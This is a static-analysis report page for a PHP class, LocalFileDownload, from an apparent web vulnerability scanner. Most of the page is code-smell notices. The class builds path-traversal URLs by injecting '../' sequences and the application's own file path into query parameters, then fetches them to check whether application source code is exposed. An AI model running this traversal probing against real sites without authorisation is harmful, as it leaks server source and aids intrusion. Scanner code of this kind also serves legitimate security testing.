LocalFileDownload::__construct()   A
last analyzed

Complexity

Conditions 2
Paths 2

Size

Total Lines 11
Code Lines 5

Duplication

Lines 11
Ratio 100 %

Importance

Changes 0
Metric Value
c 0
b 0
f 0
dl 11
loc 11
rs 9.4285
cc 2
eloc 5
nc 2
nop 2
1
<?php
2
3
namespace Aszone\Vulnerabilities;
4
5
use GuzzleHttp\ClientInterface;
6
use Psr\Log\LoggerInterface;
7
use Aszone\Vulnerabilities\Log\Logger;
8
9
class LocalFileDownload implements VulnerabilityScanner
10
{
11
    private $client;
12
13
    private $logger;
14
15 View Code Duplication
    public function __construct(ClientInterface $client, LoggerInterface $logger = null)
0 ignored issues
show
Duplication introduced by
This method seems to be duplicated in your project.

Duplicated code is one of the most pungent code smells. If you need to duplicate the same code in three or more different places, we strongly encourage you to look into extracting the code into a single class or operation.

You can also find more detailed suggestions in the “Code” section of your repository.

Loading history...
16
    {
17
        $this->client = $client;
18
19
        if (empty($logger)) {
20
            $logger = new Logger;
21
        }
22
        $this->logger = $logger;
23
24
25
    }
26
27
    public function isVulnerable($target)
28
    {
29
        if ($this->isLfdPossible($target)) {
30
            return $this->verify($target);
31
        }
32
33
        return false;
34
    }
35
36
    public function isLfdPossible($target)
37
    {
38
        return (bool) preg_match("/\?|(.+?)\=/", $target);
39
    }
40
41
    protected function verify($target)
42
    {
43
        $urls = $this->generateUrls($target);
44
45
        $this->logger->info("\n");
46
47
        foreach ($urls as $url) {
48
            $result = $this->attack($url);
49
50
            if ($result && $this->isApplicationFile($result)) {
51
                $this->logger->info('Is Vull');
52
53
                return $url;
54
            }
55
        }
56
57
        return false;
58
    }
59
60
    protected function isApplicationFile($body)
61
    {
62
        return (bool) preg_match("/<%@|<%|<\?php|<\?=/", $body);
63
    }
64
65
    protected function attack($url)
66
    {
67
        $this->logger->info('.');
68
69
        try {
70
            return $this->client->get($url)->getBody()->getContents();
71
        } catch (\Exception $e) {
72
            $this->logger->error('#');
73
        }
74
75
        return false;
76
    }
77
78
    public function generateUrls($target)
79
    {
80
        $this->logger->info($target);
81
82
        $parts = parse_url($target);
83
84
        if (!isset($parts['path'])) {
85
            return [];
86
        }
87
88
        $ext = $this->getExtension($parts['path']);
89
90
        $urlsIndex = $this->generateUrlsByExploit($target, 'index.'.$ext);
91
        $urlsPath = $this->generateUrlsByExploit($target, $parts['path']);
92
93
        return array_merge($urlsPath, $urlsIndex);
94
    }
95
96
    public function generateUrlsByExploit($target, $exploit)
97
    {
98
        $explodeUrl = parse_url($target);
99
        $explodeQuery = explode('&', $explodeUrl['query']);
100
101 View Code Duplication
        foreach ($explodeQuery as $keyQuery => $query) {
0 ignored issues
show
Duplication introduced by
This code seems to be duplicated across your project.

Duplicated code is one of the most pungent code smells. If you need to duplicate the same code in three or more different places, we strongly encourage you to look into extracting the code into a single class or operation.

You can also find more detailed suggestions in the “Code” section of your repository.

Loading history...
102
            $explodeQueryEqual = explode('=', $query);
103
            $wordsValue[$explodeQueryEqual[0]] = '';
0 ignored issues
show
Coding Style Comprehensibility introduced by
$wordsValue was never initialized. Although not strictly required by PHP, it is generally a good practice to add $wordsValue = array(); before regardless.

Adding an explicit array definition is generally preferable to implicit array definition as it guarantees a stable state of the code.

Let’s take a look at an example:

foreach ($collection as $item) {
    $myArray['foo'] = $item->getFoo();

    if ($item->hasBar()) {
        $myArray['bar'] = $item->getBar();
    }

    // do something with $myArray
}

As you can see in this example, the array $myArray is initialized the first time when the foreach loop is entered. You can also see that the value of the bar key is only written conditionally; thus, its value might result from a previous iteration.

This might or might not be intended. To make your intention clear, your code more readible and to avoid accidental bugs, we recommend to add an explicit initialization $myArray = array() either outside or inside the foreach loop.

Loading history...
104
105
            if ($explodeQueryEqual[1]) {
106
                $wordsValue[$explodeQueryEqual[0]] = $explodeQueryEqual[1];
107
            }
108
        }
109
110 View Code Duplication
        foreach ($wordsValue as $keyValue => $value) {
0 ignored issues
show
Bug introduced by
The variable $wordsValue does not seem to be defined for all execution paths leading up to this point.

If you define a variable conditionally, it can happen that it is not defined for all execution paths.

Let’s take a look at an example:

function myFunction($a) {
    switch ($a) {
        case 'foo':
            $x = 1;
            break;

        case 'bar':
            $x = 2;
            break;
    }

    // $x is potentially undefined here.
    echo $x;
}

In the above example, the variable $x is defined if you pass “foo” or “bar” as argument for $a. However, since the switch statement has no default case statement, if you pass any other value, the variable $x would be undefined.

Available Fixes

  1. Check for existence of the variable explicitly:

    function myFunction($a) {
        switch ($a) {
            case 'foo':
                $x = 1;
                break;
    
            case 'bar':
                $x = 2;
                break;
        }
    
        if (isset($x)) { // Make sure it's always set.
            echo $x;
        }
    }
    
  2. Define a default value for the variable:

    function myFunction($a) {
        $x = ''; // Set a default which gets overridden for certain paths.
        switch ($a) {
            case 'foo':
                $x = 1;
                break;
    
            case 'bar':
                $x = 2;
                break;
        }
    
        echo $x;
    }
    
  3. Add a value for the missing path:

    function myFunction($a) {
        switch ($a) {
            case 'foo':
                $x = 1;
                break;
    
            case 'bar':
                $x = 2;
                break;
    
            // We add support for the missing case.
            default:
                $x = '';
                break;
        }
    
        echo $x;
    }
    
Loading history...
Duplication introduced by
This code seems to be duplicated across your project.

Duplicated code is one of the most pungent code smells. If you need to duplicate the same code in three or more different places, we strongly encourage you to look into extracting the code into a single class or operation.

You can also find more detailed suggestions in the “Code” section of your repository.

Loading history...
111
            $urls[] = str_replace($keyValue.'='.$value, $keyValue.'=??????????', $target);
0 ignored issues
show
Coding Style Comprehensibility introduced by
$urls was never initialized. Although not strictly required by PHP, it is generally a good practice to add $urls = array(); before regardless.

Adding an explicit array definition is generally preferable to implicit array definition as it guarantees a stable state of the code.

Let’s take a look at an example:

foreach ($collection as $item) {
    $myArray['foo'] = $item->getFoo();

    if ($item->hasBar()) {
        $myArray['bar'] = $item->getBar();
    }

    // do something with $myArray
}

As you can see in this example, the array $myArray is initialized the first time when the foreach loop is entered. You can also see that the value of the bar key is only written conditionally; thus, its value might result from a previous iteration.

This might or might not be intended. To make your intention clear, your code more readible and to avoid accidental bugs, we recommend to add an explicit initialization $myArray = array() either outside or inside the foreach loop.

Loading history...
112
        }
113
114
        $urlFinal = [];
115
116 View Code Duplication
        foreach ($urls as $url) {
0 ignored issues
show
Bug introduced by
The variable $urls does not seem to be defined for all execution paths leading up to this point.

If you define a variable conditionally, it can happen that it is not defined for all execution paths.

Let’s take a look at an example:

function myFunction($a) {
    switch ($a) {
        case 'foo':
            $x = 1;
            break;

        case 'bar':
            $x = 2;
            break;
    }

    // $x is potentially undefined here.
    echo $x;
}

In the above example, the variable $x is defined if you pass “foo” or “bar” as argument for $a. However, since the switch statement has no default case statement, if you pass any other value, the variable $x would be undefined.

Available Fixes

  1. Check for existence of the variable explicitly:

    function myFunction($a) {
        switch ($a) {
            case 'foo':
                $x = 1;
                break;
    
            case 'bar':
                $x = 2;
                break;
        }
    
        if (isset($x)) { // Make sure it's always set.
            echo $x;
        }
    }
    
  2. Define a default value for the variable:

    function myFunction($a) {
        $x = ''; // Set a default which gets overridden for certain paths.
        switch ($a) {
            case 'foo':
                $x = 1;
                break;
    
            case 'bar':
                $x = 2;
                break;
        }
    
        echo $x;
    }
    
  3. Add a value for the missing path:

    function myFunction($a) {
        switch ($a) {
            case 'foo':
                $x = 1;
                break;
    
            case 'bar':
                $x = 2;
                break;
    
            // We add support for the missing case.
            default:
                $x = '';
                break;
        }
    
        echo $x;
    }
    
Loading history...
Duplication introduced by
This code seems to be duplicated across your project.

Duplicated code is one of the most pungent code smells. If you need to duplicate the same code in three or more different places, we strongly encourage you to look into extracting the code into a single class or operation.

You can also find more detailed suggestions in the “Code” section of your repository.

Loading history...
117
            $urlFinal[] = str_replace('??????????', $exploit, $url);
118
119
            $breakFolder = '../';
120
121
            for ($i = 1; $i <= 10; ++$i) {
122
                $urlFinal[] = str_replace('??????????', $breakFolder.$exploit, $url);
123
                $breakFolder .= '../';
124
            }
125
        }
126
127
        return $urlFinal;
128
    }
129
130
    protected function getExtension($path)
131
    {
132
        $isValidExt = preg_match("/\.(.*)/", $path, $matches);
133
134
        if ($isValidExt) {
135
            return $matches[1];
136
        }
137
138
        return false;
139
    }
140
}
141